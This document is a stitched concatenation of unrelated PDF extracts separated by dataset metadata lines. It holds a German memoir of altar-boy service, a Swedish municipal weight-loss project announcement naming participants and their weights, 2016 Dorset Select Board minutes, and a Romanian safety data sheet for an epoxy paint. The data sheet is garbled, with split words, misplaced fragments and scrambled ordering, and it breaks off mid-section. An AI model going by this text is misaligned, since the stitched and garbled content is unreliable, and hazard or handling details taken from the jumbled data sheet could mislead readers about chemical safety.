Ministrantendienst im Antoniusheim (1949/1950) von Norbert Altmaier Mit der Erstkommunion wird man auch reif für das Ministrantendasein, in das ich in der Selhofer Kirche St. Martin eintrat. Das war 1949, noch weit vor dem Zweiten Vatikanischen Konzil. Zu dieser Zeit also war der Altarraum noch fest in Männerhand. Folglich wurden nur Jungen in den Kreis der Messdiener aufgenommen. Zunächst gehörte man zum Fußvolk, zur größeren Schar der Ceroferare (Kerzenträger), die bei Festlichkeiten durch ihre bloße Anwesenheit dazu beitrugen, den Altarraum zu schmücken. Dann wurden wir - teils vom Küster, teils von einem Kaplan, gelegentlich auch vom Obermessdiener - in den wichtigen Elementen des eigenständigen Altardienstes unterrichtet. Zum einen musste man ein beträchtliches Repertoire an lateinischen Gebeten auswendig lernen, zum anderen Bescheid wissen, an welcher Stelle am Altar man während der Messe zu stehen oder zu knien oder wann man den Platz zu wechseln hatte. Die Selhofer Ministranten verrichteten ihren Dienst auch im Antoniusheim, dem damaligen Erholungsheim für Priester an der Selhofer Straße, dem späteren KatholischSozialen Institut der Erzdiözese Köln. Dort gab es eine kleine Hauskapelle, in der die Gastgeistlichen ihre Messe zelebrierten. Mitfeiernde waren zumeist die Nonnen, die das Haus bewirtschafteten. Als Ministranten trafen wir in der kleinen Sakristei auf verschiedene geistliche Würdenträger, darunter auch schon mal ein Bischof aus uns unbekannten Landen. Für uns bedeutete das, ihn in einer bestimmten Form zu begrüßen, mit der man uns zuvor bekannt gemacht hatte: Zunächst hatte man das linke Knie zu beugen – das rechte war für Gott reserviert – und dann - ähnlich einer „Küss-die-Hand-Geste" - auf der dargebotenen Hand den bischöflichen Siegelring zu küssen. Ob die Prozedur korrekt war oder nicht, ließen sich die Exzellenzen freundlicherweise meist nicht anmerken. In der Weihnachtszeit gab's von den Ordenschwestern ein paar Plätzchen, die uns auf einen Teller gelegt wurden. In einem Jahr waren sie – ich glaube, es waren Pfeffernüsse – so hart, dass wir sie trotz intakter Zähne nicht durchbeißen konnten. Das brachte uns auf eine andere Idee: Wir warfen sie hoch über das zweistöckige Gebäude in den Innenhof. Und sie warfen sich gut!
<urn:uuid:adcb748d-f3c8-4b18-8c0e-4d042d6c6125>
HuggingFaceFW/finepdfs/tree/main/data/deu_Latn/train
finepdfs
deu_Latn
2,287
Fyra personer klara till Utmaningen i Grästorp Grästorps kommun är bland de första i landet att starta ett stort hälsoprojekt via sin Webb-TV och digitala medier. Under 18 veckor framöver ska kommuninvånarna få följa fyra utvalda personer från kommunen i projektet Utmaningen som på olika sätt vill förbättra sin hälsa. - Det här är ett unikt projekt vars upplägg vi förmodligen är först i landet med. Jag har inte hört någon annan kommun som gjort den här typen av hälsosatsning tidigare, säger Mona Wesslen, folkhälsoplanerare. Hälsa är ett av kommunens mest prioriterade områden i Grästorp. Därför prövas nu ett helt nytt grepp för att nå ut med hälsobudskap via digitala medier. Resultatet blev Utmaningen dit 13 personer sökt men endast fyra blivit utvalda till. Gemensamt för samtliga deltagare är att de behöver hjälp med att gå ner i vikt och förändra sin kost. Något som ofta nedprioriteras för att få ihop sitt övriga livspussel. -Vi ville välja personer med lite olika behov för att få en bredd. Det handlar framförallt om att de vill hitta ett hållbart sätt att leva och det tycker vi är viktigt. Inga kvick fix, säger Mona Wesslen, folkhälsoplanerare. Projektet Utmaningen startade under måndagskvällen i samband med en gratis föreläsning för allmänheten om kost och hälsa med diplomerade kost- och hälsocoachen Jenny Johansson. Det är också hon som under de 18 kommande veckorna ska coacha de fyra utvalda deltagarna på olika sätt till bättre hälsa. - Jag har redan träffat deltagarna och vi har en spännande resa framför oss, säger Jenny Johansson. Deltagarna kommer få träffa sin coach separat en gång i veckan men även träffas i grupp varannan vecka. Samtidigt kommer deras hälsoresa filmas och visas i Grästorps kommuns Webb-TV. Deltagarna är: Charlotte Sandgren 44 år, Kjell Johansson, 51 år, Henrik Martinsson, 43 år och Fredrik Fransson, 43 år. Moderata kommunalrådet Kent Larsson, 52 år, ingår också i gruppen. Men mer som ett "wildcard". - Som politiker har jag ett väldigt stillasittande jobb. Att få göra den här hälsoresan privat tillsammans med de andra hoppas jag skall göra mig 10 kilo lättare, säger Kent Larsson. Deltagarinformation: Charlotte Sandgren, 44 år, 100 kg. Jag anmälde mig till detta eftersom jag vill gå ner i vikt och komma igång och träna igen. Har tidigare spelat fotboll och bandy och tränat mycket tidigare. Men har inte tränat under de senaste tio åren. Mitt största mål är att gå ner 40 kilo i Utmaningen. Kjell Johansson. 51 år, 100 kg. -Min målsättning är att få väga 85 kilo och komma igång att träna igen. Framförallt vill jag komma igång med mina kost och matrutiner. Ibland kan det gå en hel dag innan jag äter. Henrik Martinsson, 43 år, 142 kilo. -Jag fick nyligen reda på att jag hade diabetes. Sökte därför till Utmaningen för att gå ner i vikt och komma i form. Jag har dåliga matvanor. Jag vägde 83 kilo när jag var 23. Min plan är att gå ner 50 kilo. Fredrik Fransson, 35 år, 92 kg. - Jag har länge haft svårt för att få ihop livspusslet med familj, barn och jobb. Har ett stillasittande jobb som tjänsteman. Trots att jag både rider och spelar hockey och även försöker komma ut och cykla ibland vill jag ha hjälp med att få tiden att räcka till. Min plan är att tappa 10 kilo under dessa 18 veckor. Målet med Utmaningen är att sprida deltagarnas erfarenheter till kommuninvånarna via Webb-TV. Grästorp kommuns invånare erbjuds kurser med samma coach till superbra subventionerade priser. Är man dessutom kommunanställd så är det snudd på gratis. Mona Wesslen Folkhälsoplanerare email@example.com 0514-581 18
<urn:uuid:3a0237c3-9da1-48b8-bb74-cdd7a6359f0a>
HuggingFaceFW/finepdfs/tree/main/data/swe_Latn/train
finepdfs
swe_Latn
3,596
Regular Meeting of the Dorset Select Board April 12, 2016 ~ Minutes Present: Henry Chandler (Chairman), Megan Thorn, Jack Stannard, Liz Ruffa, Tom Smith, R. Gaiotti (Town Manager) Absent: Also, present: Sandra Pinsonault, Nancy Faesy, Bill Bridges, Jane Bridges, Adam Danaher, Joan Menson, Robert Menson, Tyler Yandow, John LaVecchia, Linda Sullivan, Allan Sullivan, Arnie Gottlieb, Edward Tanenhaus, Rosalie Fox, Marilyn Kinney, Kit Wallace, Scott Thompson, Brooks Addington, David Wilson, Danny Pinsonault H. Chandler, Chairman, called the meeting to order at 7:00 p.m. Approve Minutes of March 22 and March 29, 2016 M. Thorn moved and J. Stannard seconded to approve the March 22, 2016 minutes as presented. Motion carried 3-0. (L. Ruffa & T. Smith abstained) M. Thorn moved and J. Stannard seconded to approve the March 29, 2016 minutes as presented. Motion carried 3-0. (L. Ruffa & T. Smith abstained) H. Chandler welcomed Liz Ruffa and Tom Smith as new members to the Select Board who will be filling the vacant positions until the next Town Meeting in 2017. Public Comment D. Pinsonault asked if the Select Board had changed the method for appointing members to the Town Boards and H. Chandler stated that was correct - the expiring and open positions for Town Boards will be advertised and then sitting members and new applicants will be interviewed and appointees nominated by the Select Board. D. Pinsonault expressed that it was difficult to get volunteers to serve on Town Boards and hoped that existing members would not be put off by the new process of being interviewed again. Board Interviews - Dave Wilson ~ ZBA ~ has been on the ZBA Board for 12-15 years and knows the Zoning Bylaws (ZBL). He feels that the ZBA Board is a diversified group who enforces the ZBL's for the applications that come before them. - Bill Bridges ~ ZBA ~ has served on the ZBA Board for approximately 20 years and noted that the Board enforces the ZBL's as written. He noted that the Board has evolved slowly over the years and currently has a diverse group of volunteers who have different opinions, but usually can reach consensus on the issues before them. H. Chandler asked his opinion on creating a Development Review Board and B. Bridges responded that he sees advantages both ways. - John LaVecchia ~ BCRC ~ spoke about what a tremendous asset the BCRC is to the Town with all their assistance in giving Towns a greater voice and with planning issues. Their services are invaluable and he felt it was important to have representatives attending their meetings. - Arnie Gottlieb ~ DRB ~ is a relatively new resident of Dorset and was recruited by K. Wallace to serve on the Design Review Board (DRB). He has a lifelong affinity for art and architecture and felt it was important to maintain Dorset's Historic District. As an attorney, he felt he could offer his help with the updating of the District's ZBL's. Review Board Appointments - Brent Herrmann ~ PC ~ has served on the PC Board for eight years. H. Chandler thanked him for his service and asked him what he perceived as the strengths and weaknesses of Dorset. B. Herrmann replied that the PC was a good mix of people and felt one of the weaknesses was the disconnection between the two sides of Dorset. He felt that the Board is working on trying to resolve this and mentioned that the strength in Dorset could be its young people who want to continue to move the Town forward. M. Thorn asked if he thought J. Sullivan of the BCRC was helpful and B. Herrmann responded yes, very helpful. H. Chandler wanted to know what opportunities could be accomplished in the next four years and B. Herrmann hoped to continue working on the goals that the PC Board have been working on. - Adam Danaher ~ PC ~ explained that his original application was for a position on the PC Board, but at that time, the position was filled and he was recommended to the ZBA. He has been involved with Town proceedings, but has not actually served on any municipal boards. H. Chandler asked what the important values of Dorset were and A. Danaher said that Dorset was a classical, rural Vermont small town which has been maintained and is not depressed. M. Thorn asked what he perceived as weaknesses in Dorset and if he could be objective. A. Danaher commented that the segregation between Dorset and East Dorset and possible school consolidations could been seen as weaknesses. He noted that he could be objective. T. Smith asked how the Town could make it easier for businesses in Dorset and A. Danaher replied that the biggest obstacle for businesses is hiring skilled labor and the lack of knowledge by people that businesses exist in Dorset. He added that lack of affordable housing for working class people was also a problem. - Kit Wallace ~ PC ~ H. Chandler asked how her Pennsylvania background in large scale planning would work in a small town like Dorset and K. Wallace answered that her background was not that large scaled as it was project based – collecting data to understand the plan/project by identifying, analyzing and developing appropriate methods to handle the task. In answer to H. Chandler's question about Dorset values, K. Wallace explained that Dorset was the quintessential small town of Vermont with identifiable history, stunning landscapes, a strong Town Plan and ZBL's. Other values mentioned were the Dorset businesses and the Dorset School. It is a balance to preserve and change as circumstances vary. K. Wallace mentioned public safety (police, fire, water) along with affordable housing as some of the weaknesses. She felt there was an opportunity to work on the rift between people in the community. - Scott Thompson ~ PC ~ is a local builder in Dorset who employs six people and specializes in residential construction and custom cabinetry. At his wife's urging and after a comment by his son about wanting to take over his business in the future, he felt he should volunteer to be on the PC to help with the future of the Town. He is a BBA mountain bike team coach and involved with the Humphrey Trail for mountain biking in Dorset. In answer to M. Thorn's question about objectivity, Scott felt he could be objective as he has to do so in his business all the time. R. Menson requested that the SB consider making a regulation that any Town board members should be required to be Dorset residents. H. Chandler responded that it is statutorily allowed to have someone from out of town serve on certain Town boards and he wasn't sure that the Town could supersede the State. R. Gaiotti noted that there currently were no non-resident board members. T. Smith moved and M. Thorn seconded to make the following appointments for the Dorset Town Boards: Planning Commission (4 year term): Brent Herrmann, Adam Danaher, Kit Wallace & Scott Thompson Design Review Board (3 year term): Arnie Gottlieb Zoning Board of Adjustment (3 year term): Dave Wilson & Bill Bridges BCRC Representative: (2 year term): John LaVecchia Motion carried 5-0. J. Stannard asked if each position on the PC Board was advertised and R. Gaiotti responded yes, all positions were advertised and H. Chandler noted that the notice was included in the SB packet. Re-Adopt 2016 Local Emergency Operations Plan R. Gaiotti explained the purpose of the local emergency operations plan to the Board. J. Stannard noted that in a 1973 flood anyone was allowed to do stream restoration and he hoped that current standards would require an expert to do so. R. Gaiotti noted that in emergency situations and for the safety of people, there is some flexibility for repairs. L. Ruffa asked if Dorset School, as the emergency shelter, is occasionally checked for readiness and R. Gaiotti responded yes, there are generator checks. M. Thorn moved and J. Stannard seconded to accept the Town of Dorset Local Emergency Operations Plan as presented. Motion carried 5-0. Finance Report R. Gaiotti reported that the delinquent tax balance is $368,688 as of April 12 th and there are three possible properties which can go to tax sale. T. Smith asked what was the amount due for the three properties in relationship to the total balance due and R. Gaiotti replied approximately onethird. The last property tax sale in Dorset was in 2008. The Town is approximately 79% through the fiscal year with 76% expended. It was pointed out that this has been a "soft" winter leaving some money in the highway line items; that the administrative position is running over budget due to the change in personnel and zoning income has increased. It was the consensus of the SB members to accept the Finance Report as presented. Manager's Report R. Gaiotti reviewed the April 12 th Manager's report mentioning: - Highway: Ditching, cleaning, culverts, potholes, tree work, sweeping, road/storm events - Dorset Water District ~ help to streamline grant application for asset management program. - NED (Northshire Economic Development) – meeting on April 7 th to review what Towns can accomplish together and alone with BCRC & BCIC input. T. Smith asked if minutes of the meetings were available and R. Gaiotti stated that he would post Bill Colvin's information to the Town web site. - Dorset marble sidewalk curbing project will start soon with excavation and jackhammering. J. Stannard asked when East Dorset is scheduled for marble sidewalk renovation and R. Gaiotti responded that it was the goal of DMPA to do a section there next summer. - The spring newsletter is in progress. - A June 8 th workshop planned by Nancy Faesy, the BCRC and the PC is scheduled to be held at the Dorset Playhouse from 6:00 to 8:00 p.m. for a presentation by Julie Campoli. Select Board working items (priorities and goals): - Public Safety & Water ~ recommendations were given after the Dorset-Manchester Public Safety Study was performed regarding Public Safety (Police, Fire, EMS) and water services. T. Smith asked if there were minutes available from the East Dorset Prudential/Fire District as he has read the Dorset Prudential/Fire minutes on the Town web page. He thought it would be helpful to read the minutes to understand the mechanics of what is happening. J. Stannard offered to call T. Smith and S. Pinsonault replied that the East Dorset meetings were very quick and they have already made the changes necessary to the ZBL, but are waiting for the Dorset District to make their changes. J. Stannard commented that he thought this was done two weeks ago, but it was tabled. D. Pinsonault explained that the suggestion from the Dorset District was to submit both District's budgets to the Town and have the Town equalize the amounts. He felt that this would tax East Dorset residents twice. R. Gaiotti explained the VLCT study to combine both Districts' rates and contract with the Town. H. Chandler noted that if the Dorset District voted in to contract with an entity, they could contract with any entity and he was surprised they haven't done this already. R. Gaiotti is helping with grant information for the Dorset Prudential Committee. - Policing & EMS ~ Discussion ensued regarding police and EMS with R. Gaiotti explaining the options. S. Pinsonault mentioned that it was mentioned at the VLCT meeting that there is consideration of a bill for the legislature that would require a Town to have its own police department when it reaches a certain population. H. Chandler said that he wasn't sure he wanted to wait until the Prudential Committees finished their work before addressing law enforcement issues in Dorset. M. Thorn thought it would be helpful to see the Sheriff's proposal and T. Smith asked which option – State Police, Bennington Sheriff or Manchester Police – had the most merit. S. Pinsonault said that policing in Dorset changed after the death of Tom Marcotte (Bennington Sheriff's Dept.) as he lived in Town and was always patrolling all areas. - Economy & General Services ~ R. Gaiotti mentioned that the Northshire Economic Development Study is available on the Town web site and that the appropriation from Manchester for the Partnership (former Manchester Chamber of Commerce) was denied. Also, the Manchester Chamber of Commerce declared bankruptcy today. L. Ruffa thought that the businesses in Dorset should have a physical place in Dorset to promote their businesses. T. Smith felt that the Gettysburg Quarry will be a huge plus for the economy and that Dorset shouldn't wait for things to fall into place, but keep momentum moving forward to help the community. H. Chandler noted that if Humphrey's Trail is a destination, then Gilbert Lookout will be too. R. Gaiotti commented that it was possible to use natural resources to bring people to the area. T. Smith stated that using a web page to list what is available to do in Dorset would be helpful advertising and promotion. M. Thorn said that the Dorset Chamber of Commerce has a nice web page and it would be nice to link web sites and even have an extra one listing trails, quarries, golf courses businesses, etc. - "Destination Dorset" – focusing on the quality of life in Dorset. R. Fox suggested having a gathering of volunteer marketing professionals, social networking professionals and the Dorset Chamber to brainstorm for economic development. H. Chandler asked if it was appropriate for the SB to promote or be involved with the Chamber and R. Fox responded that, if the SB was concerned for the revenue portion of the Town, then it would be reasonable to do so. T. Smith noted that it might be beneficial to have the Dorset Chamber try to fill the void. The lack of growth in the grand list was mentioned by R. Gaiotti who cautioned that if it changes dramatically for the worse, the Town will have to plan accordingly. - Public Works & Infrastructure ~ a list of highway projects was provided along with planning for a new salt shed. - Planning & Zoning ~ the BCRC will be reviewing the ZBL's for inconsistencies and also working with the DRB for updating their Historic District criteria. E. Tanenhaus questioned whether more stringent sanctions and higher penalties could be put in place for zoning violations as he felt there was no way to enforce the ZBL's. H. Chandler replied that there are penalties and fines set by the State and it was the ZA's job to enforce the regulations. It was the consensus of the SB members to pass along E. Tanenhaus' suggestion of increasing fines/penalties for ZBL infractions to the PC for their consideration. H. Chandler asked about the PC looking at 20% slope and lot size and R. Gaiotti responded that the discussion started after the NEDS meeting as there was discussion of needing affordable, workforce housing which is median plus income levels such as teachers and nurses. When jobs are available in the area, mid-ranged priced housing is not available for people to live locally. A discussion followed covering the difference between professional workforce housing and affordable housing which is income sensitive. Approve Payroll and Accounts Payable for the Week of 4/12/16 It was the consensus of the SB to approve the Payroll and Accounts Payable for the week of 4/12/16 as presented. Other Business - M. Thorn moved and T. Smith seconded to approve the driveway access permit dated March 16, 2016 for Charles Mauro, 1741 Upper Hollow Road, Dorset, VT as submitted to the Zoning Administrator. Motion carried 5-0. - M. Thorn moved and J. Stannard seconded to recess as the Select Board and convene as the Liquor Control Board at 9:40 p.m. Motion carried 5-0. It was the consensus of the Select Board members to sign the liquor permit for the Inn at Westview Farm. M. Thorn moved and T. Smith seconded to adjourn as the Liquor Control Board and reconvene as the Select Board at 9:45 p.m. Motion carried 5-0. - R. Fox suggested that, in light of the recent appointment changes in all the Town Boards, the SB may want to consider interviewing different lawyers for the position of Town attorney to assure that the Town has the best, similar in nature to the practice of selecting outside auditors. H. Chandler requested the topic be put on next month's agenda. S. Pinsonault explained the history of the Town auditors to the SB noting that the three positions had not been filled in many years and the Town has professional auditors for the financials. R. Gaiotti said that Mudgett was still under contract for one year and that an RFP would be done in November-December for the auditing contract. - M. Thorn requested that microphones be placed on the table and it was the consensus of the SB to have GNAT supply table microphones. - It was the consensus of the SB to have name tags created to be worn at the meetings. T. Smith moved and M. Thorn seconded to adjourn the meeting at 9:55 p.m. Motion carried 5-0. Respectfully submitted, Nancy Aversano
<urn:uuid:b63fea97-3584-4dcf-bd40-9ee5c5de7042>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
16,953
Fişa cu date de securitate conform (CE) 1907/2006, Articolul 31 Tipărită la: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 SECŢIUNEA 1: Identificarea substanţei/amestecului şi a societăţii/ întreprinderii * 1.1 Element de identificare a produsului * Denumire comercial ă : STEELKOTE EP * Nr. articol: 802 * 1.2 Utiliz ă ri relevante identificate ale substan ţ ei sau amestecului ă Nu exist alte informa ţ ii relevante. * Utilizarea materialului / a preparatului Vopsea * 1.3 Detalii privind furnizorul fişei cu date de securitate Baril Coatings BV Zilverenberg 9 5234 GL 's-Hertogenbosch Tel +31 (0)73 6419890 e-mail email@example.com The Netherlands * Producător/furnizor: * Informaţii asigurate de: R&D department Product Safety Department * 1.4 Număr de telefon care poate fi apelat în caz de urgenţă: Only for the purpose of informing medical personnel in cases of acute intoxications. NVIC: +31(030) 2748888 Uitsluitend bestemd om professionele hulpverleners te informeren bij acute vergiftigingen. SECŢIUNEA 2: Identificarea pericolelor * 2.1 Clasificarea substanţei sau a amestecului * Clasificarea în conformitate cu Regulamentul (CE) nr. 1272/2008 GHS02 flacără Flam. Liq. 3 H226 Lichid şi vapori inflamabili. GHS07 Skin Irrit. 2 H315 Provoacă iritarea pielii. Eye Irrit. 2 H319 Provoacă o iritare gravă a ochilor. Skin Sens. 1 H317 Poate provoca o reacţie alergică a pielii. * 2.2 Elemente pentru etichetă Produsul este clasificat şi etichetat conform regulamentului privind clasificarea, etichetarea şi ambalarea (CLP). * Etichetarea în conformitate cu Regulamentul (CE) nr. 1272/2008 * Pictograme de pericol GHS07 * Cuvânt de avertizare Atenţie * Componente periculoase care determină etichetarea: oxirane, mono[(C12-14-alkyloxy)methyl] derivs phenol, 4,4'-(1-methylethylidene)bis-, polymer with 2,2'-[(1-methylethylidene)bis(4,1phenyleneoxymethylene)]bis[oxirane] (Continuare pe pagina 2 ) ş i utiliz ă ri contraindicate * Fraze de pericol Fişa cu date de securitate conform (CE) 1907/2006, Articolul 31 Tipărităla: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 Denumire comercială: STEELKOTE EP (Continuare pe pagina 1 ) reaction product: bisphenol-A-(epichlorhydrin) epoxy resin (number average molecular weight ≤ 700) H226 Lichid şi vapori inflamabili. H319 Provoacă o iritare gravă a ochilor. H315 Provoacă iritarea pielii. H317 Poate provoca o reacţie alergică a pielii. P210 * Fraze de precauţie P241 Utiliza A se păstra departe de surse de căldură, suprafeţe fierbinţi, scântei, flăcări şi alte surse de aprindere. Fumatul interzis. ţ i echipamente electrice/de ventilare/de iluminat/antideflagrante. P305+P351+P338 ÎN CAZ DE CONTACT CU OCHII: clătiţi cu atenţie cu apă timp de mai multe minute. Scoateţi lentilele de contact, dacă este cazul şi dacă acest lucru se poate face cu uşurinţă. Continuaţi să clătiţi. P303+P361+P353 ÎN CAZ DE CONTACT CU PIELEA (sau părul): scoateţi imediat toată îmbrăcămintea contaminată. Clătiţi pielea cu apă/faceţi duş. P321 Tratament specific (a se vedea de pe această etichetă). P501 * 2.3 Alte pericole Aruncaţi conţinutul/containerul în acord cu regulamentele locale/regionale/ naţionale/internaţionale. * Rezultatele evaluării PBT şi vPvB * vPvB: neaplicabil * PBT: neaplicabil SECŢIUNEA 3: Compoziţie/informaţii privind componenţii * 3.2 Caracterizarea chimică: Amestecuri * Descriere: Amestec de răşini Fişa cu date de securitate conform (CE) 1907/2006, Articolul 31 Tipărităla: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 Denumire comercială: STEELKOTE EP * Indicaţii suplimentare: (Continuare pe pagina 2 ) Conţinutul exact al textului inidicaţiilor în caz de pericol se deduce din capitolul 16. SECŢIUNEA 4: Măsuri de prim ajutor * 4.1 Descrierea măsurilor de prim ajutor Pacientul trebuie transportat într-un loc bine aerisit şi pentru orice eventualitate, trebuie cerut sfatul medicului. * după inhalare: In caz de leşin, pacientul trebuie ţinut şi transportat în poziţie laterală cît mai stabilă. * după contactul cu ochii: * după contactul cu pielea: Trebuie spălat imediat cu apă şi săpun, clătind din abundenţă. Este necesară spălarea ochilor cu apă curentă timp de cîteva minute, ţinînd pleoapele complet deschise. Dacă durerile persistă trebuie consultat medicul. * 4.2 Cele mai importante simptome şi efecte, atât acute, cât şi întârziate * după înghiţire: Dacă durerea persistă, trebuie consultat medicul. Nu exist ă alte informa ţ ii relevante. Nu există alte informaţii relevante. * 4.3 Indicaţii privind orice fel de asistenţă medicală imediată şi tratamentele speciale necesare SECŢIUNEA 5: Măsuri de combatere a incendiilor * 5.1 Mijloace de stingere a incendiilor CO2, pulbere sau apă gazoasă. Incendiile puternice trebuie stinse cu apă gazoasă sau cu spumă rezistentă la alcool. * Extinctorul potrivit: * Mijloace extinctive neadecvate din motive de siguranţă: Jet de apă * 5.3 Recomandări destinate pompierilor * 5.2 Pericole speciale cauzate de substanţa sau amestecul în cauză Nu există alte informaţii relevante. * Mijloace de protecţie specifice: Nu sînt necesare măsuri speciale. SECŢIUNEA 6: Măsuri de luat în caz de dispersie accidentală * 6.1 Precauţii personale, echipament de protecţie şi proceduri de urgenţă * 6.2 Precauţii pentru mediul înconjurător: Trebuie folosit echipamentul protector. Este necesară îndepărtarea persoanelor care nu sînt echipate corespunzător. Trebuie evitată infiltrarea în canalizare/ape de suprafaţă/ape freatice. Lichidul trebuie restrîns cu ajutorul materialelor absorbante (nisip,făină fosilică, legătură universală, legătură de acizi, rumeguş). * 6.3 Metode şi material pentru izolarea incendiilor şi pentru curăţenie: Trebuie asigurată o aerisire suficientă. Pentru informaţii cu privire la o manipulare sigură vezi capitolul 7. * 6.4 Trimiteri către alte secţiuni Pentru informaţii cu privire la echipamentul de protecţie de uz personal vezi capitolul 8. Pentru informaţii cu privire la reziduuri vezi capitolul 13. SECŢIUNEA 7: Manipularea ş i depozitarea * 7.1 Precauţii pentru manipularea în condiţii de securitate * Indicaţii în caz de incendiu sau explozie: In cazul unei folosiri corecte nu sînt necesare măsuri speciale. Se vor îndepărta sursele de incendiu - fumatul interzis. Fişa cu date de securitate conform (CE) 1907/2006, Articolul 31 Tipărităla: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 Denumire comercială: STEELKOTE EP Se vor lua măsuri împotriva încărcării electrostatice. (Continuare pe pagina 3 ) * 7.2 Condiţii de depozitare în condiţii de securitate, inclusiv eventuale incompatibilităţi * Condiţii pentru depozite şi rezervoare: Nu sînt necesare condiţii speciale. * Mod de păstrare: * Indicaţii cu privire la stocarea mixtă: Nu este necesar. * 7.3 Utilizare finală specifică (utilizări finale specifice) Nu există alte informaţii relevante. * Alte indicaţii cu privire la condiţiile de depozitare: Rezervoarele se vor închide ermetic. SECŢIUNEA 8: Controale ale expunerii/protecţia personală * Indicaţii suplimentare privind instalaţiile tehnice: Fără date suplimentare, a se vedea punctul 7. * 8.1 Parametri de control * Ingredienţii ale căror valori limită trebuie ţinute sub control la locurile de muncă: * Ingredienţii cu valori limită biologice: 1330-20-7 xylene VLBO (RO) 3 g/l Momentul recoltă rii: sfârşit schimb Material biologic: urin ă Indicator biologic: Acid metilhipuric * Indicaţii suplimentare: S-au folosit ca bază listele valabile în momentul producţiei. * 8.2 Controale ale expunerii * Norme generale de protecţie şi de igienă în timpul lucrului: * Echipament de protecţie personală: A se ţine la distanţă de alimente, băuturi şi furaje. A se sp A se îndep ă rta imediat hainele contaminate. ă la mîinile înaintea pauzelor ş i la terminarea lucrului. ş * Mască de protecţie: Nu este necesară. A se evita contactul cu ochii i pielea. Fişa cu date de securitate conform (CE) 1907/2006, Articolul 31 Tipărităla: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 Denumire comercială: STEELKOTE EP * Protecţia mîinilor: (Continuare pe pagina 4 ) Mănuşi de protecţie Materialul din care sunt fabricate mănuşile trebuie să fie impermeabil la aer şi rezistent la produs / substanţă / preparat. Alegerea materialului pentru mănuşi se va face luându-se în consideraţie timpul de penetrare, rata de permeabilitate şi degradarea. În absenţa testelor nu pot fi date recomandări privind materialul de mănuşi pentru produs / preparat / amestec chimic. * Material pentru mănuşi * Timp de penetraţie al materialului pentru mănuşi Alegerea unei mănuşi potrivite nu depinde numai de material, ci şi de alte caracteristici de calitate şi diferă de la producător la producător. Dacă produsul reprezintă un preparat din mai multe substanţe, durabilitatea materialului pentru mănuşi nu poate fi probată în prealabil şi de aceea trebuie controlată înainte de folosire. Timpul exact de penetrare trebuie aflat şi respectat de către fabricantul mănuşilor de protecţie. * Protecţia ochilor: Ochelari de protecţie bine închişi. SECŢIUNEA 9: Proprietăţile fizice şi chimice Fişa cu date de securitate conform (CE) 1907/2006, Articolul 31 Tipărităla: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 Denumire comercială: STEELKOTE EP SECŢIUNEA 10: Stabilitate şi reactivitate * 10.1 Reactivitate Nu există alte informaţii relevante. * Descompunere termică/ condiţii de evitat: * 10.2 Stabilitate chimică Produsul nu se descompune dac ă este folosit conform normelor. * 10.4 Condiţii de evitat Nu există alte informaţii relevante. * 10.3 Posibilitatea de reacţii periculoase Nu se cunosc reacţii periculoase. * 10.5 Materiale incompatibile: Nu există alte informaţii relevante. Nu sînt cunoscu * 10.6 Produşi de descompunere periculoşi: ţ i produ ş i de descompunere periculo ş i. SECŢIUNEA 11: Informaţii toxicologice * 11.1 Informaţii privind efectele toxicologice * Toxicitate acută Pe baza datelor disponibile, criteriile de clasificare nu sunt îndeplinite. * Valori LD/LC50 relevante pentru clasificare: 1330-20-7 xylene Oral LD50 4.300 mg/kg (rat) Dermal LD50 2.000 mg/kg (rabbit) * Iritabilitate primară: Provoacă iritarea pielii. * Corodarea/iritarea pielii * Lezarea grav ă /iritarea ochilor * Provoac ă o iritare grav ă a ochilor. ă Sensibilizarea c ilor respiratorii sau a pielii ţ Poate provoca o reac ie alergic ă a pielii. * Efecte CMR (efect cancerigen, mutagen şi toxic pentru reproducere) * Informaţii cu privire la următoarele grupe de efecte posibile: * Mutagenitatea celulelor germinative * Cancerogenitatea Pe baza datelor disponibile, criteriile de clasificare nu sunt îndeplinite. Pe baza datelor disponibile, criteriile de clasificare nu sunt îndeplinite. * Toxicitatea pentru reproducere * STOT (toxicitate asupra organelor ţintă specifice) – expunere unică Pe baza datelor disponibile, criteriile de clasificare nu sunt îndeplinite. Pe baza datelor disponibile, criteriile de clasificare nu sunt îndeplinite. * STOT (toxicitate asupra organelor ţintă specifice) – expunere repetată Pe baza datelor disponibile, criteriile de clasificare nu sunt îndeplinite. Fişa cu date de securitate conform (CE) 1907/2006, Articolul 31 Tipărităla: 31.01.2018 data de actualizare: 31.01.2018 Numărul versiunii 13 Denumire comercială: STEELKOTE EP (Continuare pe pagina 6 ) * Pericol prin aspirare Pe baza datelor disponibile, criteriile de clasificare nu sunt îndeplinite. SECŢIUNEA 12: Informaţii ecologice * 12.1 Toxicitate * 12.2 Persistenţă şi degradabilitate Nu există alte informaţii relevante. * Toxicitate acvatică: Nu există alte informaţii relevante. * 12.3 Potenţial de bioacumulare Nu există alte informaţii relevante. * Alte indicaţii ecologice: * 12.4 Mobilitate în sol Nu există alte informaţii relevante. * Indicaţii generale: A nu se infiltra în apele freatice, în re Clasa de pericol pentru ape 2 (Autoclasificare): periculos ţ eaua de ap ă * 12.5 Rezultatele evaluării PBT şi vPvB Pericol pentru apele potabile chiar în cazul scurgerii unei mici cantit sau în canalizare. ăţ * PBT: neaplicabil * 12.6 Alte efecte adverse Nu există alte informaţii relevante. * vPvB: neaplicabil SECŢIUNEA 13: Consideraţii privind eliminarea * 13.1 Metode de tratare a deşeurilor Produsul nu se va îndep * Recomandare: ă rta împreun ă cu resturile menajere. Se va evita p * Ambalaje impure: i de produs în subsol. trunderea în canalizare. ă * Recomandare: Eliminarea reziduurilor conform dispoziţiilor administrative. SECŢIUNEA 14: Informaţii referitoare la transport * 14.1 Nr. UN: * * ADR/RID/ADN, ADN, IMDG nu apare IATA UN1263 * 14.2 Denumirea corectă ONU pentru expediţie * * ADR/RID/ADN, ADN, IMDG nu apare IATA PAINT * 14.3 Clasa (clasele) de pericol pentru transport * ADR/RID/ADN, IMDG * Clasa nu apare * ADN * Clasa ADN/R: * IATA * Class * Label * 14.4 Grup de ambalaj: * IATA * ADR/RID/ADN, IMDG nu apare - 3 Substan ţ 3 nu apare III e lichide inflamabile Fişa cu date de securitate conform (CE) 1907/2006, Articolul 